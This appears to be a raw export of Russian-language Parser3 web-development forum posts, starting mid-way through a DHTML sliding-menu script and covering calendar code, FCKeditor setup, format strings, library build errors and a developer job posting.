		}else{ //Slide to the one clicked\
			for(i=num+1;i<oSlide.length;i++){\
				if(oSlide[i].y>oSlide[i].starty + snum*between+between)  oSlide[i].moveBy(0,-pxspeed)\
				else{oSlide[i].moveIt(oSlide[i].x,oSlide[i].starty + snum*between+between); isthere=i}\
			}\
		}\
		if(isthere<oSlide.length-1 || (sactive!=-1 && sisthere<oSlide[num].sub.length-1 && sactive!=oSlide[num].sub.length-1)) setTimeout(\"moveUp(\"+num+\",\"+snum+\")\",timspeed)\
		else swmenu2(num,snum)\
	}\
}\
/********************************************************************************\
Switch menu 2, stuff that happens before the menus are moved down again.\
********************************************************************************/\
function swmenu2(num,snum){\
	isthere=0;\
	sisthere=0;\
	if(active>-1 && snum==-1){\
		//Hiding submenus\
		for(j=0;j<oSlide[active].subs;j++){oSlide[active].sub[j].hideIt()}\
		oSlide[active].bgImg(level0_regular)\
		oSlide[active].moveIt(0,oSlide[active].starty)\
	}\
	if(sactive>-1){\
		//Hiding submenus\
		for(j=0;j<oSlide[active][sactive].sub.length;j++){oSlide[active][sactive].sub[j].hideIt()}\
		oSlide[active].sub[sactive].bgImg(oSlide[active].sub[sactive].origimg)\
		oSlide[active].sub[sactive].moveIt(10,oSlide[active].sub[sactive].starty)\
		//Move back to place\
		for(i=sactive+1;i<oSlide[active].sub.length;i++){\
			oSlide[active].sub[i].moveIt(oSlide[active].sub[i].x,oSlide[active].sub[i].starty)\
		}\
	}\
	active=num\
	//Showing submenus\
	if(snum>-1){\
		sactive=snum\
		for(j=0;j<oSlide[num][snum].sub.length;j++){oSlide[num][snum].sub[j].showIt()}\
		oSlide[num].sub[snum].moveBy(10,3)\
		oSlide[num].sub[snum].bgImg(level1_round2)\
	}else{\
		sactive=-1\
		for(j=0;j<oSlide[active].subs;j++){oSlide[active].sub[j].showIt()}\
		oSlide[num].moveBy(10,3)\
		oSlide[num].bgImg(level0_round)\
	}\
	if(num!=oSlide.length-1) moveDown(num,snum)\
	else{\
		isthere=num\
		moveDown(num,snum)\
	}\
}\
/********************************************************************************\
Moving the menus down\
********************************************************************************/\
function moveDown(num,snum){\
	//if(num==oSlide.length-1) isthere=num\
	for(i=num+1;i<oSlide.length;i++){\
		if(snum==-1){\
			if(oSlide[i].y<(oSlide[num].subs-1)*subheight+oSlide[i].starty+between-pxspeed) oSlide[i].moveBy(0,pxspeed)\
			else{oSlide[i].moveIt(oSlide[i].x,(oSlide[num].subs-1)*subheight+oSlide[i].starty+between); isthere=i}\
		}else{\
			if(oSlide[i].y<(oSlide[num].subs-1)*subheight+oSlide[i].starty+between-pxspeed + (oSlide[num][snum].subs-1)*subheight+between)  oSlide[i].moveBy(0,pxspeed)\
			else{oSlide[i].moveIt(oSlide[i].x,(oSlide[num].subs-1)*subheight+oSlide[i].starty+between  + (oSlide[num][snum].subs-1)*subheight+between); isthere=i}\
		}\
	}\
	if(snum!=-1){\
		for(i=snum+1;i<oSlide[num].sub.length;i++){		\
			if(oSlide[num].sub[i].y<(oSlide[num][snum].subs-1)*subheight+oSlide[num].sub[i].starty+between-pxspeed) oSlide[num].sub[i].moveBy(0,pxspeed)\
			else{oSlide[num].sub[i].moveIt(oSlide[num].sub[i].x,(oSlide[num][snum].subs-1)*subheight+oSlide[num].sub[i].starty+between); sisthere=i}\
		}\
	}\
	if(snum==-1){\
		if(isthere<oSlide.length-1) setTimeout(\"moveDown(\"+num+\",\"+snum+\")\",timspeed)\
		else going=false\
	}else{\
		if(isthere<oSlide.length-1 || (sisthere<oSlide[num].sub.length-1 && snum!=oSlide[num].sub.length-1)) setTimeout(\"moveDown(\"+num+\",\"+snum+\")\",timspeed)\
		else going=false\
	}\
}\
var test=0\
/********************************************************************************\
Functions to write out the layers...\
********************************************************************************/\
menus=new Array(); var a=0; var b=0; var c=0; var d=0\
function makeMenu(type,text,lnk,target,end){\
	str=\"\"; tg=\"\";\
  if(target) tg='target=\"'+target+'\"'\
  if(!lnk) lnk=\"#\"\
  self.status=lnk\
	if(a==0) str='<div id=\"divSlideCont\">\\n'\
	if(type==\"top\"){\
		menus[a]=new Array();\
		if(text==\"seperator\"){\
			str+='\\t<div id=\"divSlide'+a+'\" class=\"clSlide\"></div>\\n'\
			menus[a].seperator=1\
		}else{\
      str+='\\t<div id=\"divSlide'+a+'\" class=\"clSlide\"><a href=\"'+lnk+'\" '+tg+' onclick=\"swmenu('+a+',-1,-1); if(bw.ie || bw.ns6) this.blur(); '\
      if(lnk==\"#\") str+='return false'\
      str+='\" class=\"clSlideLinks\"> '+text+'</a><br></div>\\n'\
		}\
    menus[a].subs=0; a++; b=0\
	}else if(type==\"sub\"){\
		str+='\\t\\t<div id=\"divSlideSub'+(a-1)+'_'+(b)+'\" class=\"clSlideSub\"><a '+tg+' onclick=\"swmenu('+(a-1)+','+b+',-1); if(bw.ie || bw.ns6) this.blur(); '\
    if(lnk==\"#\") str+='return false'\
    str+='\" href=\"'+lnk+'\" class=\"clSlideSubLinks\">  '+text+'</a><br></div>\\n'\
		b++; menus[a-1].subs=b; menus[a-1][b-1]=new Array(); c=0; menus[a-1][b-1].subs=0\
	}else if(type==\"sub2\"){\
		str+='\\t\\t<div id=\"divSlideSub'+(a-1)+'_'+(b-1)+'_'+c+'\" class=\"clSlideSub2\"><a '+tg+' href=\"'+lnk+'\" class=\"clSlideSub2Links\">  '+text+'</a><br></div>\\n'\
		c++; menus[a-1][b-1].subs=c; menus[a-1][b-1][c-1]=new Array(); d=0; menus[a-1][b-1][c-1].subs=0\
	}\
	if(end) str+=\"</div>\"\
	document.write(str)\
}\
function preLoadBackgrounds(){\
  for(i=0;i<arguments.length;i++){\
    this[i]=new Image()\
    this[i].src=arguments[i]\
  }\
  return this\
}\
</script>\
<!-- HEAD END HERE -->\
\
\
\
\
</head>\
<body bgcolor=\"#ffffff\" text=\"#FFFFFF\" link=\"#FFFFFF\" topmargin=\"0\" leftmargin=\"0\">\
\
\
\
<!-- BODY START HERE -->\
\
<script>\
\
//Variables to set\
between=28 //The pixel between the menus and the submenus\
mainheight=25 //The height of the mainmenus\
subheight=22 //The height of the submenus\
pxspeed=13 //The pixel speed of the animation\
timspeed=15 //The timer speed of the animation\
menuy=80 //The top placement of the menu.\
menux=0 //The left placement of the menu\
//Images - Play with these\
level0_regular=\"level0_regular.gif\"\
level0_round=\"level0_round.gif\"\
level1_regular=\"level1_regular.gif\"\
level1_round=\"level1_round.gif\"\
level1_sub=\"level1_sub.gif\"\
level1_sub_round=\"level1_sub_round.gif\"\
level1_round2=\"level1_round2.gif\"\
level2_regular=\"level2_regular.gif\"\
level2_round=\"level2_round.gif\"\
\
//Leave this line\
preLoadBackgrounds(level0_regular,level0_round,level1_regular,level1_round,level1_sub,level1_sub_round,level1_round2,level2_regular,level2_round)\
\
\
//There are 3 different types of menus you can make\
//top = Main menus\
//sub = Sub menus\
//sub2 = SubSub menus\
\
//You control the look of the menus in the stylesheet\
\
//makeMenu('TYPE','TEXT','LINK','TARGET', 'END (THE LAST MENU)')\
\
//Menu 0 \
makeMenu('top','Новости')\
	makeMenu('sub','Новости','/news/index.html')\
	makeMenu('sub','Архив новостей','/news/archive.html')\
\
//Menu 1\
makeMenu('top','О нас')\
	makeMenu('sub','О компании','/about/company.html')\
	makeMenu('sub','Наши принципы','/about/our_principles.html')\
	makeMenu('sub','Наша команда','/about/company.html')\
	makeMenu('sub','Аккредитация','/about/company.html')\
	makeMenu('sub','Сертификация','/about/company.html')\
	makeMenu('sub','Страховые полисы','/about/company.html')\
	makeMenu('sub','Участие в ОО','/about/company.html')\
	makeMenu('sub','Ценовая политика','/about/company.html')\
	makeMenu('sub','Рейтинги','/about/company.html')\
//Menu 2    \
makeMenu('top','Наши услуги')\
  makeMenu('sub','Оценка','/uslugy/ocenka.html')\
  makeMenu('sub','Аудит','/uslugy/audit.html')\
  makeMenu('sub','Консалтинг','/uslugy/fin_konsalt.html')\
  makeMenu('sub','Образование','/uslugy/education.html')\
  makeMenu('sub','Судэкспертиза','/uslugy/expert.html')\
  makeMenu('sub','Реализация','/uslugy/immovable.html')\
//Menu 3\
makeMenu('top','Наши клиенты')\
  makeMenu('sub','Клиенты','clients/clients.html?FORUM_ID=1&CAT_ID=1&Forum_Title=Cool+sites')\
\
//Menu 4  \
makeMenu('top','Наши координаты')\
  makeMenu('sub','Контакты','contacts/contact.html')\
  makeMenu('sub','Карта проезда','contacts/map.html')\
\
//Starting the menu\
onload=SlideMenuInit;\
</script>\
\
<!-- BODY END HERE -->\
\
\
\
\
\
\
</body>\
</html>\
\
"
"44495","дело вот в чем, пытаюсь менять месяца в календаре по нажатию кнопок \
 либо <-т.е. на месяц назад(^now.roll[month](-1)), либо >-т.е. на месяц вперед(^now.roll[month](+1)).\
Мой код работает только на месяц вперед либо назад, т.е. нажимаю \">\" месяц меняется, но только один раз если еще раз нажать ничего не происходит.\
\
\
[code] $now[^date::now[]] \
\
^if(def $form:l){\
\
 ^now.roll[month](-1)\
\
}{\
\
}\
\
^if(def $form:r){ \
  \
  ^now.roll[month](+1)\
\
}{\
\
}\
\
\
\
$days[^date:calendar[rus]($now.year;$now.month)] \
<center> \
<table bgcolor=\"#8EA3DE\" cellspacing=\"1\"> \
   <tr>\
   \
   <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b>$now.year</b> \
      </td>\
     <tr>\
      <td bgcolor=\"#FFFFFF\" colspan=\"7\" align=\"middle\"> \
         <b><form method=\"post\"><input name=\"l\" type=\"submit\" value=\"<\" class=\"form-submit\">&nbsp^;$calendar_locale.month_names.[$now.month]&nbsp^;<input name=\"r\" type=\"submit\" value=\">\"class=\"form-submit\"></form></b> \
      <tr></td> \
   </tr> \
   <tr> \
      ^for[week_day](0;6){ \
         <td width=\"14%\" align=\"middle\" bgcolor=\"#A2D0F2\"> \
            <font color=\"$calendar_locale.day_colors.$week_day\"> \
               $calendar_locale.day_names.$week_day \
            </font> \
         </td> \
      } \
   </tr> \
^days.menu{ \
   <tr> \
      ^for[week_day](0;6){ \
         ^if($days.$week_day){ \
            ^if($days.$week_day==$now.day){ \
            <td align=\"middle\" bgcolor=\"#FFFF00\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <b><a href=\"/desk/?day=$days.$week_day\">$days.$week_day</a></b> \
               </font> \
            </td> \
            }{          \
            <td align=\"middle\" bgcolor=\"#FFFFFF\"> \
               <font color=\"$calendar_locale.day_colors.$week_day\"> \
               <a href=\"/desk/?day=$days.$week_day\">$days.$week_day</a>\
               </font> \
            </td> \
            } \
         }{ \
            <td bgcolor=\"#DFDFDF\">&nbsp</td>    \
         } \
      } \
   </tr> \
} \
</table> \
</center> [/code]"
"44496","Вы упорно \"сдвигаете\" текущую месяц (полученный по date::now), а не месяц на который построен календарь!"
"44498","Миша, а можно вас попросить прикладывать к классам историю изменений (Changelog), чтобы можно было отслеживать различия между используемой и новой версией для проверки наследуемых классов?\
\
Буду очень признателен!"
"44499","...но я не буде этого делать, ибо это усложнит мою жизнь в несколько раз. в таком случае мне будет проще не выкладывать новые классы. а оно вам надо?\
\
хотите быть в курсе событий - установите себе программу, которая будет показывать различия между имеющейся и новой версией."
"44503","не хотите приводить код, не надо :)\
\
libgdome работает и с glib-2.x, не стоит зацикливаться на плохоподдерживаемой старой версии."
"44505","вроде всё работает, но что-то не так:\
[code]\
while(<>)\
{\
    chop;\
\
	@fields=split /\\t/, $_, 100;\
	$id=shift @fields;\
\
	@stable=splice @fields,0,3;\
	$stable=join \"\\t\", @stable;\
\
	$stable2ids=\\@{$stable2ids{$stable}};\
	push @$stable2ids, $id;\
\
	$accum=\\@{$accum{$stable}};\
\
	$index=0;\
	foreach $field(@fields) \
	{\
		if($stable eq \"\\t\\t\")\
		{\
			$accum->[$index]=undef;\
		} \
		else \
		{\
			if(($field)gt($accum->[$index]))\
			{\
				$accum->[$index]=$field;\
			}\
		}\
		$index++;\
	}\
}\
\
foreach $stable(sort keys %accum)\
{\
	foreach $id(sort @{$stable2ids{$stable}})\
	{\
		print join \"\\t\", $id, $stable, @{$accum{$stable}};\
		print \"\\n\";\
	}\
}\
[/code]"
"44506","http://www.parser.ru/f/1/links/cvs_ru.chm\
[quote]\
Журнальное сообщение, которое было введено во время фиксации изменений, перед которым идет имя RCS-файла, номер ревизии, имя автора и дата в UTC. Существующие журнальные сообшения не заменяются. Вместо этого, новое журнальное сообщение добавляется после $Log:...$. Каждая новая строка содержит в начале ту же самую строку, которая находится перед ключевым словом $Log$. Например, если в файле находится \
  /* Here is what people have been up to:\
   *\
   * $Log: frob.c,v $\
   * Revision 1.1  1997/01/03 14:23:51  joe\
   * Add the superfrobnicate option\
   *\
   */\
\
то перед дополнительными строками, которые добавляются при замене ключевого слова $Log$, будет находиться ` * '. В отличие от предыдущих версий CVS и RCS, префикс комментария из RCS-файла не используется. Ключевое слово $Log$ полезно при накоплении полного журнала изменений в исходном файле, но по нескольким причинам это может привести к определенным проблемам. See section Проблемы с ключевым словом $Log$.. \
[/quote]\
\
хотя именно из-за описанных отдельно проблем лично я не использую…"
"44507","значит это кому-то надо. здесь так же.\
\
да и вообще: чего так возмущаться? вы что без этого поста умрёте?"
"44508","Народ, кто прикручивал FCKeditor или что-то подобное к CMS, подскажите, плиз, как это делается? Или можно ссылку на доку? Пробовал, как написано тут http://www.parser.ru/forum/?id=41291, но что-то не совсем понял, как оно все-таки прикручиваться. :(\
 \
Хочу прикрутить нтмл-редактор, но какой и как - ХЗ."
"44509","Вся документация с примерами есть в архиве с редактором."
"44511","1. Создал папку «editor», в которую выложил все файлы из архива.\
\
2. Вызываю редактор так:\
\
[code]\
<!-- Редактор -->\
<script type=\"text/javascript\" src=\"editor/fckeditor.js\"></script>\
<script type=\"text/javascript\">\
	window.onload = function() {\
		var oFCKeditor = new FCKeditor('[b]body[/b]')^;\
		oFCKeditor.BasePath = 'editor/'^;\
		oFCKeditor.ToolbarSet = 'Standart'^;\
		oFCKeditor.ReplaceTextarea()^;\
	}\
</script>\
<textarea id=\"[b]body[/b]\" name=\"body\" rows=\"40\" style=\"width: 100%^; height: 500px^;\">^untaint{$params.body}</textarea>\
<!-- /Редактор -->\
[/code]\
\
3. Все настройки редактора делаются в файле fckconfig.js"
"44513","[b]format. Вывод числа в заданном формате[/b]\
[code]\
$var(0x123)\
^var.format[0x%04X]\
[/code]\
\
[b]Приложение 2. Форматные строки преобразования числа в строку[/b]\
\
[code]%Длина.ТочностьТип[/code]\
\
Вопрос: зачем нужна точка? У меня сейчас не работал такой вывод:\
\
[code]\
^now.month.format[%02.d]\
[/code]\
\
Возвращала « 9», после удаления точки заработало:\
\
[code]\
^now.month.format[%02d]\
[/code]\
\
«09»\
\
Может быть добавить этот пример в документацию?\
\
Как мне объяснил Kaverdo (может быть добавить в документацию?), форматную строку нужно читать так:\
\
[quot]\
%длина\
.точность\
тип\
[/quot]\
\
Спасибо ему большое ;)\
\
ADD: Добавил комментарий в документации\
http://www.parser.ru/docs/lang/?intdoubleformat.htm"
"44514","Когда я последний раз смотрел на fckeditor, когда себе редактор для cms выбирал - он был довольно посредственным.\
А сейчас посмотрел, и правда хорош, весьма хорош.. \
Спасибо. =)"
"44515","А вообще действительно, стоит добавить в документацию этот пример форматирования (1 к 01), как один из самых распространенных случаев использования format."
"44516","Делаю так...\
[code]\
	libxml2-2.6.21\
 ./configure --prefix=$HOME/gnome --without-zlib --without-iconv --without-threads --silent\
 make install\
\
	libxslt-1.1.15\
 ./configure --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --without-debug --without-debugger --silent\
 make install\
\
	glib-2.8.1\
 ./configure --prefix=$HOME/gnome --enable-static\
 make install\
\
	gdome2-0.8.1\
 patch -p0 < $HOME/parser3project/parser3/src/lib/patches/gdome2.patch\
 ./configure --with-glib-prefix=$HOME/gnome --disable-glibtest --with-libxml-prefix=$HOME/gnome --prefix=$HOME/gnome --silent\
 make install\
 mkdir $HOME/gnome/include/libgdome/gdomecore\
 cp libgdome/gdomecore/gdome-xml-node.h $HOME/gnome/include/libgdome/gdomecore\
 cp libgdome/gdomecore/gdome-xml-document.h $HOME/gnome/include/libgdome/gdomecore\
[/code]\
\
Затем собираю Парсер:\
[code]\
./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --with-static-gc=$HOME/gc/lib --with-static-xml=$HOME/gnome --with-dynamic-stdcpp --with-mysql-client --disable-safe-mode\
make\
[/code]\
\
И получаю так:\
[code]\
Making all in src\
make[1]: Entering directory `/home/beave/parser3project/parser3/src'\
Making all in include\
make[2]: Entering directory `/home/beave/parser3project/parser3/src/include'\
make  all-am\
make[3]: Entering directory `/home/beave/parser3project/parser3/src/include'\
make[3]: Leaving directory `/home/beave/parser3project/parser3/src/include'\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/include'\
Making all in main\
make[2]: Entering directory `/home/beave/parser3project/parser3/src/main'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl -I/usr/include/glib-1.2 -I/usr/lib/glib/include -I/home/beave/gnome/include -I/home/beave/gnome/include/libgdome -I/home/beave/gnome/include/libxml2    -g -O2-MT compile.tab.o -MD -MP -MF \".deps/compile.tab.Tpo\" \\\
  -c -o compile.tab.o `test -f 'compile.tab.C' || echo './'`compile.tab.C; \\\
then mv \".deps/compile.tab.Tpo\" \".deps/compile.tab.Po\"; \\\
else rm -f \".deps/compile.tab.Tpo\"; exit 1; \\\
fi\
../../src/include/pa_stack.h: In member function 'void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to 'count' that depend on a template parameter, so a declaration of 'count' must be available\
../../src/include/pa_stack.h:23: error: (if you use '-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function 'T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to 'get' that depend on a template parameter, so a declaration of 'get' must be available\
../../src/include/pa_stack.h: In member function 'void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: 'fused' was not declared in this scope\
../../src/include/pa_stack.h:45: error: 'felements' was not declared in this scope\
make[2]: *** [compile.tab.o] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]\
\
Что думаете по этому поводу?\
\
[i]P.S.: Мне что-то не нравятся строки с /usr/include/glib-1.2 и /usr/lib/glib/include...[/i]"
"44518","Парсер пишет unknown untaint language #112?\
И неработает."
"44519","Посмотрите строчку, на которой вы пишете что-то вроде ^untaint[#112]{...}\
\
И потом документацию, раздел taint/untaint"
"44520","[b]sql[/b]\
called with invalid option\
\
Эта ошибка вызывается строчкой\
[code]$grp1_(^int:sql{select FolderId from folder where FolderKey='$grp1'}[ $.limit(1) $.defult{0} ])[/code]\
\
Такое [url=\"http://www.parser.ru/forum/?id=12201\"]уже было[/url] (причём только у меня), но тут не table::sql, а int:sql.\
\
Где грабли?"
"44522","parser собран под x86-64, 2.9.x,\
путь в .htaccess прописан правельно,\
auto.p - настроен, \
из SSH парсер запускается отвечает что все ок,\
из http овечает хрень какую то \"unknown untaint language #-1073751392\" ????? 8( (нехочет обрабатывать htmlы),\
в лог записал - unknown untaint language #112.\
В чем дело? Что за хрень? Может кто знает?"
"44524","Спасибо.\
Что-то я уже туплю...."
"44525","Наверняка кто-то писал интерфейс для администрирования табличек, с которыми работает Мишин [url=\"http://www.parser.ru/examples/auth/\"]класс авторизации[/url]?\
Поделитесь?\
Если он требует некоторых доработок или поправок - поправлю, добавлю и выложу для всех.\
Спасибо."
"44526","Почувствуйте разницу в постановке вопросов."
"44527","У меня не возникло вопросов, как это сделать - мне, вроде, всё ясно.\
Но я уверен, что этот велосипед уже изобрели и вместо того, что бы делать ещё один такой же, я могу из того, что есть сделать ещё лучше."
"44528","было дело на SPARC и глючило из-за неучтённой в одном тонком месте тупоконечности (термин компьютерный такой)."
"44529","под 64бит я только подготавливал местами, далеко не всё.\
не должно работать. собирайте 32битный."
"44530","Задача посчитать скаченный с сайта файл, важно считать не нажатия на ссылку download, а именно момент окончания сохранения файла на пользовательском компьютере. Примерно также как это делается на сайтах с файлами mp3"
"44531","Захотел дополнить класс table своими методами. Для первого эксперимента решил добавить метод, удаляющий текущую строку.\
\
Класс:\
[code]\
\
@CLASS\
table2\
\
@BASE\
table\
\
@create[table]\
^BASE:create{$table}\
\
@del_line[]\
$cur_line[^BASE:line[]]\
^BASE:create{^BASE:select(^BASE:line[] != $cur_line)]}\
[/code]\
\
Пример вызова:\
[code]\
$t[^table2::create{1	2	3	4\
str1c1	str1c2	str1c3	str1c4\
str2c1	str2c2	str2c3	str2c4\
str3c1	str3c2	str3c3	str3c4\
str4c1	str4c2	str4c3	str4c4\
}]\
\
^t.menu{\
$t.1	$t.2	$t.3	$t.4<br>\
^if(^t.line[] == 2){$t[^t.del_line[]]}\
}\
\
[/code]\
\
Вторая строка удаляется, оно работает, но что то мне здесь не нравиться, а что - понять точно не могу. Как минимум хотелось бы написать просто ^t.del_line[] без присвоения. Но в таком варианте переменная $t остается без изменений.\
\
Подскажите, что я делаю не так (может идеологически)? "
"44532","в исходники совсем несложно добавить кусок вызова функции \"@all_written[]\"\
\
которую вызывать после выдачи в stdout последнего байта.\
это всё равно не гаратнирует, что файл принялся полностью, поскольку есть ещё сколько-то буферов по дороге.\
\
посмотрите, как сделан вызов @main, сделайте аналогично, только ниже по тексту. файл pa_request.C"
"44533","я не знаю насчет конкретных изменений данных в вашем классе, но в случае, если вы бежите с помощью menu по таблице, и тут-же изменяете эту таблицу, это не должно сказываться на menu.\
\
[code]\
@main[]\
$t[^table::create{id\
1\
2\
3}]\
\
1st: ^print[$t]{^t.append{z}}<br />\
2nd: ^print[$t]<br />\
\
\
@print[t;code]\
^t.menu{${t.id}$code}[, ]\
[/code]\
\
в этом примере код ^t.append{z} который выполняется при каждой итерации не приводит к тому, что при первом выводе будет напечатано 6 строк, будет напечатано только три строки. при этом к таблице будет добавлено ещё 3 строки, что мы наблюдаем при второй распечатке таблицы.\
\
в вашем случае по моему наблюдается ещё и некоторые идеологические проблемы, которые как мне кажется надо решить тем, что вынести ^t.del_line[line] из меню. кроме того этот метод наверное не должен ничего возвращать, а лишь удалять строку с заданной $line. а сейчас у вас это какой-то извратный select."
"44534","Спасибо за разьеснение как его поставить .. \
Поставил , когда открываю добавить картинку , и просмотр файлов на сервере , открывается окошко , в нём я так понимаю должен быть файлменеджер но вместо этого пишет \
[code]Unhandled Exception (Debug)\
\
z:/home/172.16.3.187/www/test/admin/editor/editor/filemanager/browser/default/browser.html(27:62): parse error, expecting `'['' or `'{'' or `'(''\
\
exception.type=parser.compile [/code]\
\
Ему там ненравитсья javascript код который в этом файле , это можно какнить исправить а ?"
"44535","[quot]я не знаю насчет конкретных изменений данных в вашем классе, но в случае, если вы бежите с помощью menu по таблице, и тут-же изменяете эту таблицу, это не должно сказываться на menu. [/quot]\
Разумеется, не должно.\
\
[quot]в вашем случае по моему наблюдается ещё и некоторые идеологические проблемы, которые как мне кажется надо решить тем, что вынести ^t.del_line[line] из меню. кроме того этот метод наверное не должен ничего возвращать, а лишь удалять строку с заданной $line. а сейчас у вас это какой-то извратный select.[/quot]\
\
^t.del_line[] я поместил в меню просто как первый вариант, который пришел в голову, это не идеология, конечно его можно вынести наружу и написать ^t.del_line[2] - с точки зрения работы класса это ничего не изменит. \
\
а вот как сделать так, чтобы метод ничего не возвращал - я не понимаю, только начинаю работать с классами парсер. Как из класса изменить содержимое переменной $t? может подскажете что-нибудь, хотя бы в каком направлении думать?\
\
Спасибо заранее."
"44538","[code]<xsl:vlue-of select=\"....\" /> <xsl:vlue-of select=\"....\" />[/code]\
Почему после преобразования, пробельный символ между двумя селектами пропадает? Результаты просто пристыковываются, но если в этот промежуток добавить любой другой символ, отличный от пробельного, структура не теряется?\
[code]<xsl:vlue-of select=\"....\" />, <xsl:vlue-of select=\"....\" />[/code]\
\
Как избежать удаления пробелов в первом случае?"
"44540","Вот только что боролся с этой ошибкой.\
\
Поборол методом научного тыка, убив все лишние знаки табуляции и пробелы (отступы, физуальное форматирование) при формировании строки (строка представляет собой большой прайс-лист).\
\
Как я понимаю есть какие-то ограничения на размер строки, верно?\
Можно ли их как-то увеличить? (мой прайс влезает в эти пределы с трудом)\
\
UPD: Или еще есть ограничение на длинну значения ключа хеша?\
[code]$somehash[\
  $.key[тут сколько можно запихать?]\
][/code]"
"44541","но вопрос про ограничения не снят =)\
есть они или нет?"
"44542","В папке admin/editor/.htaccess:\
\
[code]\
RemoveHandler parsed-html html\
[/code]"
"44543","обычно у всех провайдеров стоит ограничение на память, отводимую каждому процессу.\
\
ещё многие провайдеры ставят ограничение на количество одновременно работающих процессов."
"44544","Друзья, у нас есть вакансия.\
Неторопливо и внимательно ищем программмиста на Парсере.\
\
Системные требования:\
\
Ожидаем, что человек знает и умеет многое. Используем XML, MySQL. Также хотим хороших знаний в верстке (XSL, CSS) и JS. \
\
Нужно будет, что бы вы думали?\
- понимать, что необходимо сделать, без бюрократических процедур типа ТЗ;\
— быстро собирать сайты на основе полунаписанного уже движка;\
- помогать дорабатывать этот самый движок;\
- поддерживать, ловить и исправлять баги на наших и клиентских сайтах.\
\
Работа в офисе на м. Новые Черемушки. График -- часов с 10-12 до 18-20, как будет удобнее. Наверное, нам будет комфортнее, если человеку будет не более 30 лет.\
\
Денег будет тысяча после испытательного срока. На испытательном -- как договоримся на встрече. Для мегамонстров может быть и больше.\
\
Ну и там, конечно, чтобы человек был, типа, креативный и инициативный. \
\
Я не очень люблю стандартные резюме, я в них ничего не понимаю. Поэтому кроме них напишите еще человеческим языком что-нибудь. \
hwat@mcn.ru"
"44545","Спасибо за помощь!\
Сделал так:\
[code]\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_1_5 parser3 sql/mysql\
cd parser3\
./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --with-shared-gc=/usr/local/lib --with-static-xml=$HOME/gnome --with-dynamic-stdcpp --with-mysql-client --disable-safe-mode\
[/code]"
"44546","там будут ещё правки и проверки."
"44547","Появляется новая ошибка... Хотя для меня она уже не новая.\
[code]\
Making all in cgi\
make[3]: Entering directory `/home/beave/cvs/release_3_1_5/parser3/src/targets/cgi'\
gcc  -g -O2   -o parser3  pa_threads.o parser3.o getopt.o ../../main/libmain.a ../../classes/libclasses.a ../../types/libtypes.a ../../main/libmain.a ../../lib/gd/libgd.a ../../lib/cord/libcord.a ../../lib/pcre/libpcre.a ../../lib/md5/libmd5.a ../../lib/sdbm/libsdbm.a ../../lib/smtp/libsmtp.a ../../../src/lib/ltdl/libltdlc.a -ldl -L/usr/local/lib -lgc /home/beave/gnome/lib/libgdome.a /home/beave/gnome/lib/libxslt.a /home/beave/gnome/lib/libexslt.a /home/beave/gnome/lib/libxml2.a -lglib/libglib.a  -lstdc++ -lcrypt -lm\
/usr/bin/ld: cannot find -lglib/libglib.a\
collect2: ld returned 1 exit status\
make[3]: *** [parser3] Error 1\
make[3]: Leaving directory `/home/beave/cvs/release_3_1_5/parser3/src/targets/cgi'\
make[2]: *** [all-recursive] Error 1\
make[2]: Leaving directory `/home/beave/cvs/release_3_1_5/parser3/src/targets'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/cvs/release_3_1_5/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]\
Не могу разобраться. В /usr/lib также файл libglib.a имеется. Использую glib-1.3.15.\
Делал так:\
[code]\
cd $HOME/gnome/lib\
ln libglib-1.3.a libglib.a -s\
ln libglib-1.3.la libglib.la -s\
ln libglib-1.3.so libglib.so -s\
[/code]"
"44548","Код страницы /tmp.html:\
[code]\
@main[]\
$showForm(1)\
\
^if(def $form:doSave){\
	page without button\
	$response:refresh[\
   $.value[2] \
   $.url[/tmp.html]\
	]\
	$showForm(0)\
}\
\
^if($showForm){\
	page with button\
	<form action='/tmp.html' method='post'>\
		<input type='hidden' name='doSave' value='do'/>\
		^f:submit[;Go]\
	</form>\
}\
[/code]\
Если зайти через IE(6.0) и нажать на кнопку \"Go\", то сначала попаду на страницу \"page without button\", а через 2 секунды меня перекинет на \"page with button\". Так, мне кажется,и должно быть.\
Если зайти из FireFox 1.0.6 и нажать на кнопку \"Go\", попадаю на страницу \"page without button\", но через 2 секунды меня не редиректит и, если посмотреть в заголовки страницы (с помощью Web Developer Toolbar), то среди заголовков refresh не будет вообще!\
Если в method заменить на GET, по заголовок будет, но FireFox всёравно НЕ будет переходить на страницу \"page without button\".\
\
ИЕ же редиректит всегда (независимо от get или post). Отсюда делаю вывод, что парсер заголовки отдаёт правильно. Почему тогда FireFox не редиректит даже если заголовки есть и почему в случае POST он говорит, что заголовка Refresh не определено?\
\
Кто-нибудь сталкивался с подобным поведением?"
"44549","[code]\
./configure --prefix=$HOME/parser3 --sysconfdir=$HOME/parser3 --localstatedir=$HOME/parser3 --with-shared-gc=/usr/local/lib --with-static-xml=$HOME/gnome --with-dynamic-stdcpp --with-mysql-client --disable-safe-mode\
[/code]\
Не могу разобраться почему при сборке он лезет в [b]/usr/include/glib-1.2[/b] и [b]/usr/lib/glib/include[/b]?"
"44550","glib нужен gdome.\
